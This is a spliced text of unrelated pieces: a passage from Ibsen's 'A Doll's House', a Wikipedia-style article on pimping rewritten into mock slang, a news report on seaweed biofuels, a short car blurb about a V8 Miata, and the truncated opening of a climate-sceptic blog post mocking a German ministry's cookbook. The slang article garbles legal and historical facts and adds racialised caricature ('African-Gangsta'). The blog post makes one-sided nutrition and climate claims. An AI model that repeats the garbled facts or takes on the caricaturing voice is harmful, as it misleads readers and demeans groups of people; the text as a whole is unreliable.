No, Nora; only inexpressibly empty. No one to live for! [Stands up restlessly.] That's why I could not bear to stay any longer in that out-of-the-way corner. Here it must be easier to find something to take one up- to occupy one's thoughts. If I could only get some settled employment- some office work.
NORA.
But, Christina, that's such drudgery, and you look worn out already. It would be ever so much better for you to go to some watering-place and rest.
MRS. LINDEN.
[Going to the window.] I have no father to give me the money, Nora.
NORA.
[Rising.] Oh, don't be vexed with me.
MRS. LINDEN.
[Going to her.] My dear Nora, don't you be vexed with me. The worst of a position like mine is that it makes one so bitter. You have no one to work for, yet you have to be always on the strain. You must live; and so you become selfish. When I heard of the happy change in your fortunes- can you believe it?- I was glad for my own sake more than for yours.
NORA.
How do you mean? Ah, I see! You think Torvald can perhaps do something for you.
MRS. LINDEN.
Yes; I thought so.
NORA.
And so he shall, Christina. Just you leave it all to me. I shall lead up to it beautifully!- I shall think of some delightful plan to put him in a good humour! Oh, I should so love to help you.
MRS. LINDEN.
How good of you, Nora, to stand by me so warmly! Doubly good in you, who knows so little of the troubles and burdens of life.
NORA.
I? I know so little of-?
MRS. LINDEN.
[Smiling.] Oh, well- a little fancy-work, and so forth.- You're a child,
NORA.
NORA.
[Tosses her head and paces the room.] Oh, come, you mustn't be so patronising!
MRS. LINDEN.
No?
NORA.
You're like the rest. You all think I'm fit for nothing really serious-
MRS. LINDEN.
Well, well-
NORA.
You think I've had no troubles in this weary world.
MRS. LINDEN.
My dear Nora, you've just told me all your troubles.
NORA.
Pooh- those trifles! [Softly.] I haven't told you the great thing.
MRS. LINDEN.
The great thing? What do you mean?
NORA.
I know you look down upon me, Christina; but you have no right to. You are proud of having worked so hard and so long for your mother.
MRS. LINDEN.
I am sure I don't look down upon any one; but it's true I am both proud and glad when I remember that I was able to keep my mother's last days free from care.
NORA.
And you're proud to think of what you have done for your brothers, too.
MRS. LINDEN.
Have I not the right to be?
NORA.
Yes indeed. But now let me tell you, Christina- I, too, have something to be proud and glad of.
MRS. LINDEN.
I don't doubt it. But what do you mean?
NORA.
Hush! Not so loud. Only think, if Torvald were to hear! He mustn't- not for worlds! No one must know about it, Christina- no one but you.
MRS. LINDEN.
Why, what can it be?
NORA.
Come over here. [Draws her down beside her on the sofa.] Yes, Christina- I, too, have something to be proud and glad of. I saved Torvald's life.
MRS. LINDEN.
Saved his life? How?
NORA.
I told you about our going to Italy. Torvald would have died but for that.
MRS. LINDEN.
Well- and your father gave you the money.
NORA.
[Smiling.] Yes, so Torvald and every one believes; but-
MRS. LINDEN.
But-?
NORA.
Papa didn't give us one penny. It was I that found the money.
MRS. LINDEN.
You? All that money?
NORA.
Twelve hundred dollars. Four thousand eight hundred crowns. What do you say to that?
MRS. LINDEN.
My dear Nora, how did you manage it? Did you win it in the lottery?
NORA.
[Contemptuosly.] In the lottery? Pooh! Any one could have done that!
MRS. LINDEN.
Then wherever did you get it from?
NORA.
[Hums and smiles mysteriously.] H'm; tra-la-la-la!
MRS. LINDEN.
Of course you couldn't borrow it.
NORA.
No? Why not?
MRS. LINDEN.
Why, a wife can't borrow without her husband's consent.
NORA.
[Tossing her head.] Oh! when the wife has some idea of business, and knows how to set about things-
MRS. LINDEN.
But, Nora, I don't understand-
NORA.
Well, you needn't. I never said I borrowed the money. There are many ways I may have got it. [Throws herself back on the sofa.] I may have got it from some admirer. When one is so- attractive as I am-
MRS. LINDEN.
You're too silly,
NORA.
NORA.
Now I'm sure you're dying of curiosity, Christina-
MRS. LINDEN.
Listen to me, Nora dear: haven't you been a little rash?
NORA.
[Sitting upright again.] Is it rash to save one's husband's life?
MRS. LINDEN.
I think it was rash of you, without his knowledge-
NORA.
But it would have been fatal for him to know! Can't you understand that? He wasn't even to suspect how ill he was. The doctors came to me privately and told me his life was in danger- that nothing could save him but a winter in the South. Do you think I didn't try diplomacy first? I told him how I longed to have a trip abroad, like other young wives; I wept and prayed; I said he ought to think of my condition, and not to thwart me; and then I hinted that he could borrow the money. But then, Christina, he got almost angry. He said I was frivolous, and that it was his duty as a husband not to yield to my whims and fancies- so he called them. Very well, thought I, but saved you must be; and then I found the way to do it.
MRS. LINDEN.
And did your husband never learn from your father that the money was not from him?
NORA.
No; never. Papa died at that very time. I meant to have told him all about it, and begged him to say nothing. But he was so ill- unhappily, it wasn't necessary.
MRS. LINDEN.
And you have never confessed to your husband?
NORA.
Good heavens! What can you be thinking of of? Tell him when he has such a loathing of debt And besides- how painful and humiliating it would he for Torvald, with his manly self-respect, to know that he owed anything to me! It would utterly upset the relation between us; our beautiful, happy home would never again be what it is.
MRS. LINDEN.
Will you never tell him?
NORA.
[Thoughtfully, half-smiling.] Yes, some time perhaps- many, many years hence, when I'm- not so pretty. You mustn't laugh at me! Of course I mean when Torvald is not so much in love with me as he is now; when it doesn't amuse him any longer to see me dancing about, and dressing up and acting. Then it might be well to have something in reserve. [Breaking off.] Nonsense! nonsense! That time will never come. Now, what do you say to my grand secret, Christina? Am I fit for nothing now? You may believe it has cost me a lot of anxiety. It has been no joke to meet my engagements punctually. You must know, Christina, that in business there are things called instalments, and quarterly interest, that are terribly hard to provide for. So I've had to pinch a little here and there, wherever I could. I couldn't save much out of the housekeeping, for of course Torvald had to live well. And I couldn't let the children go about badly dressed; all I got for them, I spent on them, the blessed darlings!
MRS. LINDEN.
Poor Nora! So it had to come out of your own pocket-money.
NORA.
Yes, of course. After all, the whole thing was my doing. When Torvald gave me money for clothes, and so on, I never spent more than half of it; I always bought the simplest and cheapest things. It's a mercy that everything suits me so well- Torvald never had any suspicions. But it was often very hard, Christina dear. For it's nice to be beautifully dressed- now, isn't it?
MRS.LINDEN.
Indeed it is.
NORA.
Well, and besides that, I made money in other ways. Last winter I was so lucky- I got a heap of copying to do. I shut myself up every evening and wrote far into the night. Oh, sometimes I was so tired, so tired. And yet it was splendid to work in that way and earn money. I almost felt as if I was a man.
MRS. LINDEN.
Then how much have you been able to pay off?
NORA.
Well, I can't precisely say. It's difficult to keep that sort of business clear. I only know that I've paid everything I could scrape together. Sometimes I really didn't know where to turn. [Smiles.] Then I used to sit here and pretend that a rich old gentleman was in love with me-
MRS. LINDEN.
What! gentleman?
NORA.
Oh, nobody!- that he was dead now, and that when his will was opened, there stood in large letters: "Pay over at once everything of which I die possessed to that charming person, Mrs. Nora Helmer."
MRS. LINDEN.
But, my dear Nora- what gentleman do you mean?
NORA.
Oh dear, can't you understand? There wasn't any old gentleman: it was only what I used to dream and dream when I was at my wits' end for money. But it doesn't matter now- the tiresome old creature may stay where he is for me. I care nothing for him or his will; for now my troubles are over. [Springing up.] Oh, Christina, how glorious it is to think of! Free from all anxiety! Free, quite free. To be able to play and romp about with the children; to have things tasteful and pretty in the house, exactly as Torvald likes it! And then the spring will soon be here, with the great blue sky. Perhaps then we shall have a little holiday. Perhaps I shall see the sea again. Oh, what a wonderful thing it is to live and to be happy! [The hall-door bell rings.]
MRS. LINDEN.
[Rising.] There's a ring. Perhaps I had better go.
NORA.
No; do stay. No one will come here. It's sure to be some one for Torvald.
ELLEN.
[In the doorway.] If you please, ma'am, there's a gentleman to speak to Mr. Helmer.
NORA.
Who is the gentleman?
KROGSTAD.
[In the doorway.] It is I, Mrs. Helmer.
[MRS. LINDEN starts and turns away to the window.]
NORA.
[Goes a step towards him, anxiously, speaking low.] You? What is it? What do you want with my husband?
KROGSTAD.
Bank business- in a way. I hold a small post in the Joint Stock Bank, and your husband is to be our new chief, I hear.
NORA.
Then it is-?
KROGSTAD.
Only tiresome business, Mrs. Helmer; nothing more.
NORA.
Then will you please go to his study.
[KROGSTAD goes. She bows indifferently while she closes the door into the hall. Then she goes to the stove and looks to the fire.]
MRS. LINDEN.
Nora- who was that man?
NORA.
A Mr. Krogstad- a lawyer.
MRS. LINDEN.
Then it was really he?
NORA.
Do you know him?
MRS. LINDEN.
I used to know him- many years ago. He was in a lawyer's office in our town.
NORA.
Yes, so he was.
MRS. LINDEN.
How he has changed!
NORA.
I believe his marriage was unhappy.
MRS. LINDEN.
And he is a widower now?
NORA.
With a lot of children. There! Now it will burn up. [She closes the stove, and pushes the rocking-chair a little aside.]
MRS. LINDEN.
His business is not of the most creditable, they say?
NORA.
Isn't it? I daresay not. I don't know. But don't let us think of business- it's so tiresome.
[DR. RANK comes out of HELMER'S room.]
RANK.
[Still in the doorway.] No, no; I'm in your way. I shall go and have a chat with your wife. [Shuts the door and sees MRS. LINDEN.] Oh, I beg your pardon. I'm in the way here too.
NORA.
No, not in the least. [Introduces them.] Doctor Rank- Mrs. Linden.
RANK.
Oh, indeed; I've often heard Mrs. Linden's name; I think I passed you on the stairs as I came up.
MRS. LINDEN.
Yes; I go so very slowly. Stairs try me so much.
RANK.
Ah- you are not very strong?
MRS. LINDEN.
Only overworked.
RANK.
Nothing more? Then no doubt you've come to town to find rest in a round of dissipation?
MRS. LINDEN.
I have come to look for employment.
RANK.
Is that an approved remedy for overwork?
MRS. LINDEN.
One must live, Doctor Rank.
RANK.
Yes, that seems to be the general opinion.
NORA.
Come, Doctor Rank- you want to live yourself.
RANK.
To be sure I do. However wretched I may be, I want to drag on as long as possible. All my patients, too, have the same mania. And it's the same with people whose complaint is moral. At this very moment Helmer is talking to just such a moral incurable-
MRS. LINDEN.
[Softly.] Ah!
NORA.
Whom do you mean?
RANK.
Oh, a fellow named Krogstad, a man you know nothing about- corrupt to the very core of his character. But even he began by announcing, as a matter of vast importance, that he must live.
NORA.
Indeed? And what did he want with Torvald?
RANK.
I haven't an idea; I only gathered that it was some bank business.
NORA.
I didn't know that Krog- that this Mr. Krogstad had anything to do with the Bank?
RANK.
Yes. He has got some sort of place there. [To MRS. LINDEN] I don't know whether in your part of the country, you have people who go grubbing and sniffing around in search of moral rottenness- and then, when they have found a "case," don't rest till they have got their man into some good position, where they can keep a watch upon him. Men with a clean bill of health they leave out in the cold.
MRS. LINDEN.
Well, I suppose the- delicate characters require most care.
RANK.
[Shrugs his shoulders.] There we have it! It's that notion that makes society a hospital.
[NORA, deep in her own thoughts, breaks into half-stifled laughter and claps her hands.]
RANK.
Why do you laugh at that? Have you any idea what "society" is?
NORA.
What do I care for your tiresome society? I was laughing at something else- something excessively amusing. Tell me, Doctor Rank, are all the employees at the Bank dependent on Torvald now?
RANK.
Is that what strikes you as excessively amusing?
NORA.
[Smiles and hums.] Never mind, never mind! [Walks about the room.] Yes, it is funny to think that we- that Torvald has such power over so many people. [Takes the bag from her pocket.] Doctor Rank, will you have a macaroon?
RANK.
What!- macaroons! I thought they were contraband here.
NORA.
Yes; but Christina brought me these.
MRS. LINDEN.
What! I-?
NORA.
Oh, well! Don't be frightened. You couldn't possibly know that Torvald had forbidden them. The fact is, he's afraid of me spoiling my teeth. But, oh bother, just for once!- That's for you, Doctor Rank! [Puts a macaroon into his mouth.] And you too, Christina. And I'll have one while we're about it- only a tiny one, or at most two. [Walks about again.] Oh dear, I am happy! There's only one thing in the world I really want.
RANK.
Well; what's that?
NORA.
There's something I should so like to say- in Torvald's hearing.
RANK.
Then why don't you say it?
NORA.
Because I daren't, it's so ugly.
MRS. LINDEN.
Ugly!
RANK.
In that case you'd better not. But to us you might- What is it you would so like to say in Helmer's hearing?
NORA.
I should so love to say "Dan it all!"
RANK.
Are you out of your mind?
MRS. LINDEN.
Good gracious, Nora-!
RANK.
Say it- there he is!
NORA.
[Hides the macaroons.] Hush- sh- sh!
[HELMER comes out of his room, hat in hand, with his overcoat on his arm.]
NORA.
[Going to him.] Well, Torvald dear, have you got rid of him?
HELMER.
Yes; he has just gone.
NORA.
Let me introduce you- this is Christina, who has come to town-
HELMER.
Christina? Pardon me, I don't know-
NORA.
Mrs. Linden, Torvald dear- Christina Linden.
HELMER.
[To MRS. LINDEN] Indeed! A school-friend of my wife's, no doubt?
MRS. LINDEN.
Yes; we knew each other as girls.
NORA.
And only think! she has taken this long journey on purpose to speak to you.
HELMER.
To speak to me!
MRS. LINDEN.
Well, not quite-
NORA.
You see, Christina is tremendously clever at office-work, and she's so anxious to work under a first-rate man of business in order to learn still more-
HELMER.
[To MRS. LINDEN] Very sensible indeed.
NORA.
And when she heard you were appointed manager- it was telegraphed, you know- she started off at once, and- Torvald, dear, for my sake, you must do something for Christina. Now can't you?
HELMER.
It's not impossible. I presume Mrs. Linden is a widow?
MRS. LINDEN.
Yes.
HELMER.
And you have already had some experience of business?
MRS. LINDEN.
A good deal.
HELMER.
Well, then, it's very likely I may be able to find a place for you.
NORA.
[Clapping her hands.] There now! There now!
HELMER.
You have come at a fortunate moment,
MRS. LINDEN.
MRS. LINDEN.
Oh, how can I thank you-?
HELMER.
[Smiling.] There is no occasion. [Puts on his overcoat.] But for the present you must excuse me-
RANK.
Wait; I am going with you. [Fetches his fur coat from the hall and warms it at the fire.]
NORA.
Don't be long, Torvald dear.
HELMER.
Only an hour; not more.
NORA.
Are you going too, Christina?
MRS. LINDEN.
[Putting on her walking things.] Yes; I must set about looking for lodgings.
HELMER.
Then perhaps we can go together?
NORA.
[Helping her.] What a pity we haven't a spare room for you; but it's impossible-
MRS. LINDEN.
I shouldn't think of troubling you. Good-bye, dear Nora, and thank you for all your kindness.
NORA.
Good-bye for the present. Of course you'll come back this evening. And you, too, Doctor
RANK.
What! If you're well enough? Of course you'll be well enough. Only wrap up warmly. [They go out, talking, into the hall. Outside on the stairs are heard children's voices.] There they are! There they are! [She runs to the outer door and opens it. The nurse, ANNA, enters the hall with the children.] Come in! Come in! [Stoops down and kisses the children.] Oh, my sweet darlings! Do you see them, Christina? Aren't they lovely?
RANK.
Don't let us stand here chattering in the draught.
HELMER.
Come, Mrs. Linden; only mothers can stand such a temperature.
[DR. RANK, HELMER, and MRS. LINDEN go down the stairs; ANNA enters the room with the children; NORA also, shutting the door.]
NORA.
How fresh and bright you look! And what red cheeks you've got! Like apples and roses. [The children chatter to her during what follows.] Have you had great fun? That's splendid! Oh, really! You've been giving Emmy and Bob a ride on your sledge!- both at once, only think, Why, you're quite a man, Ivar. Oh, give her to me a little, Anna. My sweet little dolly! [Takes the smallest from the nurse and dances with her.] Yes, yes; mother will dance with Bob too. What! Did you have a game of snowballs? Oh, I wish I'd been there. No; leave them, Anna; I'll take their things off. Oh, yes, let me do it; it's such fun. Go to the nursery; you look frozen. You'll find some hot coffee on the stove.
[The NURSE goes into the room on the left |
/or gang rape, whoopin, confinement, threatz of shiznit toward tha victimz crew, forced sticky-icky-icky use n' tha shame from these acts.[3][4] Recent empirical research of pimps, however, suggest dat these assumptions bout punk ass relationshizzlez represent stereotyped oppression narratives dat may only represent a lil' small-ass cementage of tha relationshizzlez between pimps n' sex workers. [5][6] In a edited volume bout third partizzles up in different partz of tha ghetto, nuff muthafuckin studies show dat third partizzles n' sex workers can have complex n' long-term relationshizzlez dat aint centered on exploitatizzle dynamics.[7]
In tha U.S., pimps can be arrested n' charged wit panderin n' is legally known as procurers.[8] This, combined wit tha tendency ta identify pimpin wit African-Gangsta masculinity, may provide a shitload of tha explanation fo' why approximately three-fifthz of all "confirmed" human traffickers up in tha United Hoodz is African-Gangsta men.[9] In fact, it has recently been broke off some disrespec dat a shitload of tha off tha hook examplez of shiznit cited up in tha article below come primarily from such stereotypin supported by Hollywood screenwriters, selectizzle n' decontextualized trial transcripts, n' studies dat have only rap battleed partizzles ta sex commerce up in institutionz of rescue, prosecution, n' punishment, rather than engagin rigorous study up in situ.[10][11]
Legal status n' debates bout legality [ edit ]
In most places where prostitution is illegal, so is procuring, no matta if tha relationshizzle between tha procurer n' hoe is formal or informal.[clarification needed] Where prostitution is decriminalized or regulated, procurin may or may not be legal. It aint nuthin but tha nick nack patty wack, I still gots tha bigger sack. In jurisdictions where procurin be allowed, however, tha only[dubious – discuss] forms permitted do not involve threats or other formz of non-consensual acts towardz tha hoe or other peeps; all procurin regulations differ widely from place ta place.
Procurin n' brothels is legal up in tha Netherlands, Germany, Greece, New Zealand, most of Australia n' Nevada, among other places.[citation needed]
Canada [ edit ]
In Canada, there was a legal challenge ta prostitution laws, which ended up in tha 2013 rulin of Bedford v. Canada. In 2010, Ontario Superior Court Judge Susan Himel overturned tha nationistic laws bannin brothels n' procuring, jumpin off bout some shiznit dat they violated tha constipation guaranteein "the right ta game, liberty n' security".[12]
In 2012, Ontario Appeal Court reaffirmed tha unconstipationalitizzle of tha laws.[13] Da case was appealed by tha Canadian posse, n' was under trial up in tha Supreme Court of Canada up in June 2013.[14] On 20 December 2013, tha Supreme Court unanimously struck down tha remainin prostitution laws fo' realz. Az of 2014, tha Canuck posse fuckin started hustlin on replacin dem regulations wit ones dat don't violate tha Canuck constipation.
United Nations [ edit ]
Da United Nations 1949 Convention fo' tha Suppression of tha Traffic up in Persons n' of tha Exploitation of tha Prostitution of Others requires state signatories ta ban pimpin n' brothels, n' ta abolish regulation of individual hoes. Well shiiiit, it states:[15]
Whereas prostitution n' tha accompanyin evil of tha traffic up in peeps fo' tha purpose of prostitution is incompatible wit tha dignitizzle n' worth of tha human thug n' endanger tha welfare of tha individual, tha crew n' tha hood
Da convention reads:
Article 1 Da Partizzles ta tha present Convention smoke ta punish any thug who, ta gratify tha passionz of another: (1) Procures, entices or leadz away, fo' purposez of prostitution, another person, even wit tha consent of dat person; (2) Exploits tha prostitution of another person, even wit tha consent of dat person. Article 2 Da Partizzles ta tha present Convention further smoke ta punish any thug who: (1) Keeps or manages, or knowingly finances or takes part up in tha financin of a funky-ass brothel; (2) Knowingly lets or rents a funky-ass buildin or other place or any part thereof fo' tha purpose of tha prostitution of others.
Various UN commissions however have differin positions on tha issue. For example, up in 2012, a UNAIDS commission convened by Ban Ki-moon n' backed by UNDP n' UNAIDS, recommended tha decriminalization of brothels n' procuring.[16][17][18][19]
Etymology [ edit ]
Procurer [ edit ]
Da term procurer derives from tha French procureur.
Pimping [ edit ]
Da word pimp first rocked up in Gangsta up in 1607 up in a Thomas Middleton play entitled Yo crazy-ass Five Gallants. Of unknown origin yo, but may have stemmed from tha French infinitizzle pimper meanin ta dress up elegantly n' from tha present participle pimpant meanin allurin up in seductizzle dress. Pimp used as a verb, meanin ta act as a pimp, first rocked up in 1636 up in Philip Massingerz play, Da Bashful Lover.[20] In tha 18th n' 19th centuries, tha term was commonly used ta refer ta informers.[21] A pimp can also mean "a despicable person".[22] Da term can also be applied ta a thug whoz ass is considered a ladies' dude.[20]
Da verb "pimping" came up in tha early 17th century.[20] Rapper Nelly tried ta redefine tha word "pimp" by sayin dat it be a acronym fo' "positive, intellectual, motivated person." Dude pimped a college scholarship wit tha name "P.I.M.P. Juice Scholarship". Dawn Turner Trice of tha Chicago Tribune argues dat there is "suttin' truly unsettling, ta say tha least, bout attachin such a vile word ta a scholarship" n' expresses concern bout tha glamorization of tha term.[23]
In tha straight-up original gangsta muthafuckin yearz of tha 21st century, a freshly smoked up meanin of tha word has emerged up in tha form of a transitizzle verb pimp, which means "to decorate" or "to gussy up" (compare primp, especially up in Scottish usage). This freshly smoked up definizzle was made ghettofab by Pimp My fuckin Ride, a MTV televizzle show.[20] Although dis freshly smoked up definizzle paid homage ta hip-hop culture n' its connection ta street culture, it has now entered common, even mainstream commercial, use.[24]
In medicinal contexts, tha verb means "to ask (a hustla) a question fo' tha purpose of testin her or his knowledge".[25]
Pandering [ edit ]
Da word "pander", meanin ta "pimp" is derived from Pandarus, a licentious figure whoz ass facilitates tha affair between tha protagonists up in Troilus n' Criseyde, a poem by Geoffrey Chaucer.[26] Pandarus appears wit a similar role up in Shakespearez interpretation of tha story, Troilus n' Cressida.
Businizz of procuring [ edit ]
Pimpin is sometimes operated like a funky-ass bidnizz.[27] Da pimp may gotz a bottom girl whoz ass serves as crib manager, keepin tha pimp apprised of law-enforcement activitizzle n' collectin scrilla from tha hoes.[28] Pimps recognize a hierarchy among theyselves. Da least bigged up, or newer pimps, is tha "popcorn pimps" n' "wannabes". "Popcorn pimps" was a phenomenon which occurred among adolescent snow white playaz of both sexes whoz ass utilized lil pimps younger than theyselves ta support they habits.[29] A pimp whoz ass uses shiznit n' intimidation ta control his hoes is called a "guerrilla pimp", while dem playas whoz ass use psychedelic trickery ta deceive younger hoes tha fuck into becomin hooked tha fuck into tha system is called "finesse pimps".[30] An blingin part of tha bidnizz is obtainin n' maintainin a selection of hoes. Losin onez hoe ta another pimp is known as bein "peeled". Informin a pimp dat one of his hoes has switched pimps be a professionizzle courtesy, n' any attempt ta respond ta dis courtesy wit shiznit will quickly git tha violent pimp labeled a "Gorilla" or "Godzilla". Prostitutes whoz ass move between pimps often is labeled as a "Choosey Susie". In addition, a hoe may "bounce" from pimp ta pimp without payin tha "pimp moving" tax.[31]
A big-ass cementage of pimps up in tha United Hoodz is also documented gang members, which causes concerns fo' five-o agencies up in jurisdictions where prostitution be a thugged-out dope problem. Pimpin rivals narcotic salez as a major source of fundin fo' nuff gangs; dis is particularly legit wit African-Gangsta gangs.[citation needed] Gangs need scrilla ta survive, n' scrilla equates ta juice n' respect. While pushin sticky-icky-ickys may be lucratizzle fo' a gang, dis activitizzle often carries dope risk as stiff legal penaltizzles n' harsh mandatory minimum sentencing laws exist. But fuck dat shiznit yo, tha word on tha street is dat wit pimping, gang thugz still make scrilla while tha hoes theyselves bear tha majoritizzle of tha risk. Pimpin has nuff muthafuckin benefits ta tha gang dat tha pimp belongs to. These benefits include helpin tha gang recruit freshly smoked up thugz cuz tha gang has dem hoes available fo' sex n' tha scrilla brought up in by prostitution allows gang thugz ta loot cars, threadz n' weapons, all of which help ta recruit younger thugz tha fuck into tha gang by increasin tha hype of tha gang up in tha local gang subculture. Da presence of gangs (and weapons n' sticky-icky-ickys) be a virtual guarantee when hoes is present, which is why nuff law-enforcement agencies advocate takin a aggressive stizzle against hoes. Many vice units work ta ascertain if tha hoe they have arrested has a pimp, n' if so, they heat dem ta provide shiznit bout they pimp n' tha gang involved. Y'all KNOW dat shit, muthafucka! This shiznit can then be used ta go afta tha mo' straight-up n' violent offenders.[32]
Da pimp bidnizz has a internal structure �" built round shiznit �" fo' dealin wit rule breakers. For example, pimps done been known ta employ a "pimp stick", which is two coat hangers wrapped together, up in order ta subdue unruly hoes.[28] A variation be a "pimp cane", used fo' similar purposes.[citation needed] Another punishment fo' disobedient hoes is ta "trunk" them, where tha pimp locks tha hoe up in tha trunk of a cold-ass lil hoopty fo' realz. Although hoes is supposedly free ta move between pimps, dis movement sometimes leadz ta shit. For example, a hoe could be punished fo' merely lookin at another pimp; dis is considered "reckless eyeballing".[28] Violence be also used on hustlas, fo' example if tha hustla attempts ta evade payment or becomes unruly wit a hoe.
Use of tattoos [ edit ]
Many pimps tattoo hoes as a mark of "ballership".[33][34] Da tattoo will often be tha pimpz street name or even his fuckin likeness. Da mark might be as discreet as ankle tattoo, or blatant as a neck tattoo, or big-ass scale font across tha hoez lower back, thigh, chest, or buttocks.[35]
Internizzle effect [ edit ]
Yo, since tha Internizzle became widely available, it has become tha preferred medium fo' prostitution. I aint talkin' bout chicken n' gravy biatch. Prostitutes mo' n' mo' n' mo' use joints ta solicit horny-ass encounters. In turn, pimps have used these sites ta broker they dem hoes.[36]
Criticizzle of portrayals [ edit ]
Yo, some sex workers rights advocates n' activists dispute tha portrayal of third-party agents as "violent pimps" ta be a inaccurate exaggeration used ta fosta harmful policies.[37]
Pornography n' procuring [ edit ]
Attempts done been made up in tha U.S. ta charge p-to-tha-ornotastic-film ballaz wit panderin under state law. Da case of California v. Freeman up in 1989 is one of da most thugged-out prominent examplez where a baller/director of p-to-tha-ornotastic films was charged wit panderin under tha argument dat payin porn hustlas ta big-ass up sex on camera was a gangbangin' form of prostitution covered by a state anti-panderin statute. Da State Supreme Court rejected dis argument, findin dat tha California panderin statute was not intended ta cover tha hirin of hustlas whoz ass would be engagin up in sexually-explicit but non-obscene performances. Well shiiiit, it also stated dat only up in cases where tha balla paid tha hustlas fo' tha purpose of sexually gratifyin theyselves or other hustlas, could tha balla be charged wit panderin under state law. This case effectively legalized sex n thangs up in tha State of California.[38][39][40] In 2008, tha New Hampshizzle Supreme Court would issue a similar rulin (New Hampshizzle v. Theriault) which declared dat producin sex n thangs was not a gangbangin' form of prostitution under state law.[41]
Notable pimps n' madams [ edit ]
See also [ edit ]
Gangsta Pimp, a 1999 documentary by tha Hughes Brothers consistin of first thug rap battlez wit playas involved up in tha pimpin gamestyle up in tha U.S.
, a 1999 documentary by tha Hughes Brothers consistin of first thug rap battlez wit playas involved up in tha pimpin gamestyle up in tha U.S. Brothel
Pandarus
Prostitution
References [ edit ]
Media related ta Prostitution at Wikimedia CommonsKelp and other seaweed could be biofuels of the future, avoiding competition with food crops for land and scarce freshwater resources — limitations that plague land-based biofuel prospects.
Researchers envision fast-growing cultivated kelp forests growing downward into the water, anchored on webs of rope, or porous sheets of material that roll with the waves. Offshore wind farms could be convenient places to grow seaweed biofuels in the future, some say.
So far, the process is not economical, but rising oil prices, or the possibility of first extracting higher-value products from the seaweed such as food additives or protein for fish food before converting the remainder to fuel, could change that.
"We've got a lot of seaweed growing out in the sea and we're not really using it. It's not taking up land. It's not food which could also be eaten," said Jessica Adams of Aberystwyth University in Wales.
"They grow very fast," added Yannick Lerat of the Technical Research Center on Seaweed in Pleubian, France. "The amount of organic matter you can produce per year per surface is about 10 times higher than you can find in croplands without GM organisms."
"There is no need to use freshwater," he continued. "Freshwater in some parts of the world is becoming really a tricky resource."
As with land plants, the carbohydrates in the tissues of seaweed can be converted in various ways to fuels. They can be burned via a process known as pyrolysis to make oil; fermented with bacteria into ethanol; or converted into methane via anaerobic digestion.
Because seaweed is buoyed by water, it does not need to make the woody compound lignin to help it stand up against gravity, like land plants do in growing their stalks and trunks.
Gnarly lignin resists degradation, a key obstacle in bringing terrestrial biofuels made from biomass such as corn stalks or tree crops to market. This makes seaweed easier to convert to fuels, researchers said.
"There are issues with harvesting it from the wild for it to be sustainable," said Michele Stanley of the Scottish Association of Marine Sciences, who is a leader of a program investigating fuels from seaweed. "We would support cultivation."
In Norway, wild kelp is harvested on a five-year rotation for production and sale of alginates — used as stabilizers and emulsifiers in foods, among other things. Wild harvest would not be feasible for the quantities needed for biofuels, Stanley said.
Pal Bakken, founder and head of Norwegian company Seaweed Energy Solutions AS, is working to develop better methods for cultivation.
His company has patented devices for growing kelp in sheets anchored to the seafloor at a single point, which allows the sheets to flow with the wave action, simulating a more natural growth environment.
This should allow simpler, cheaper cultivation and harvesting, he says, eliminating the tangly, multi-anchored rope systems of traditional Asian seaweed culture and perhaps making deeper waters available for cultivation.
Like land plants, kelp needs sufficient nutrients to grow, so it would need nitrogen fertilizer to grow in open water far from coastal nutrient sources.
But cultivated kelp could be a useful way to clean up waters full of nutrient runoff. For example, Norway's salmon farming releases enough nitrogen to support 9 million metric tons of kelp, Bakken said.
It is still unclear how the economics of seaweed biofuels shake out, according to experts. Stanley is investigating the question and hopes to have an answer in the next couple of years.
"There is no way this would be competitive on day one," Bakken said. "Incentives will be important in the beginning."
Lerat says oil prices will need to be somewhere around $300 a barrel before it's economical, but he and others say extracting higher-value chemicals first could change the equation.
"The more valuable things you can get out, the better," Adams said.
Indeed, the idea of the "biorefinery," analogous to the petrochemical refinery where high-value petrochemicals are taken out of crude oil before fuel is refined, is a popular vision of the future for terrestrial and marine biofuels alike.
Components of bioplastics, nutritional supplements, protein for fish food or even the phosphorus-laden ash from seaweed could be possible profit-turners. The remaining, carbohydrate-rich biomass could be fermented or digested to ethanol and methane for fuel.
Bakken notes that the available area for cultivation could be "almost unlimited and believes seaweed can make "a very large contribution" to the liquid fuels industry. His company claims that about 3.7 metric tons of kelp are needed to produce a barrel of ethanol.
Current global production is about 15 million metric tons, largely for alginate and food, and mostly in China and Japan. In a release from last year, Bakken's company reported that using 0.05 percent of Europe's coastal areas to cultivate kelp could supply 4.7 percent of the 2008 global ethanol production.
For now, the crop would be seasonal. Adams presented work this week at a meeting of the Society for Experimental Biology in Glasgow, Scotland, noting that carbohydrate levels in kelp on the Welsh coast rise tenfold from their wintertime lows to 35 to 40 percent in July, a finding that others have agreed with.
Seaweed crops would likely be bred for desirable attributes over time, including a longer cultivation season. Prudence would be needed in what species were introduced where, researchers agreed, to avoid problems with species invasions.
"I think this is really big," Bakken said. "It's not only the seaweed. It's the shift toward thinking 'blue.' We are so land-based. I think this will open up all kinds of industries related to the sea. It's finally beginning now."It's safe to say that Flyin' Miata's V8-powered MX-5 was one of our favorite cars of last year. With 525 hp from its Chevy LS3 V8 and all the goodness of the ND Miata chassis, it's just about the perfect car. Flyin' Miata, bless them, has done one better, though. Say hello to the 575-hp ND Miata in all its straight-piped glory.
This lope-machine gets its power from a Lingenfelter-tuned naturally aspirated LS3 with an aggressive camshaft. It's hooked up to one of Flyin' Miata's active exhausts, but as the video description says "the cammed motor doesn't make enough vacuum to close the butterflies in the system so it's basically straight-piped." Flyin' Miata plans on solving this issue eventually, but not before making some seriously good noises.
It looks like this car is headed to a customer who, presumably, has a great sense of humor. At least, they'll be laughing every time they drive this thing. How could you not, when this cute little roadster is making all that beautiful noise?Share this...
If you need more proof that climate change has taken on cult-like dimensions, then look no further than Germany’s Federal Ministry of Environment (BMU), which delivers it in hardcopy in the form of a cookbook for climate-friendly eating.
Now people should eat in a way that makes the climate healthy and weather better – forget what is really healthy for our bodies! Many experts say the two are not the same.
Despite the latest nutritional studies showing the vast benefits of a diet rich in animal fat, the German BMU (which has no expertise on matters concerning human nutrition) is taking it upon itself to advise people to switch to a potentially ruinous fad diet with the highly dubious claim that it will positively impact the climate and weather in our favor.
Human dietary habits worse than auto, air traffic!
The BMU site writes:
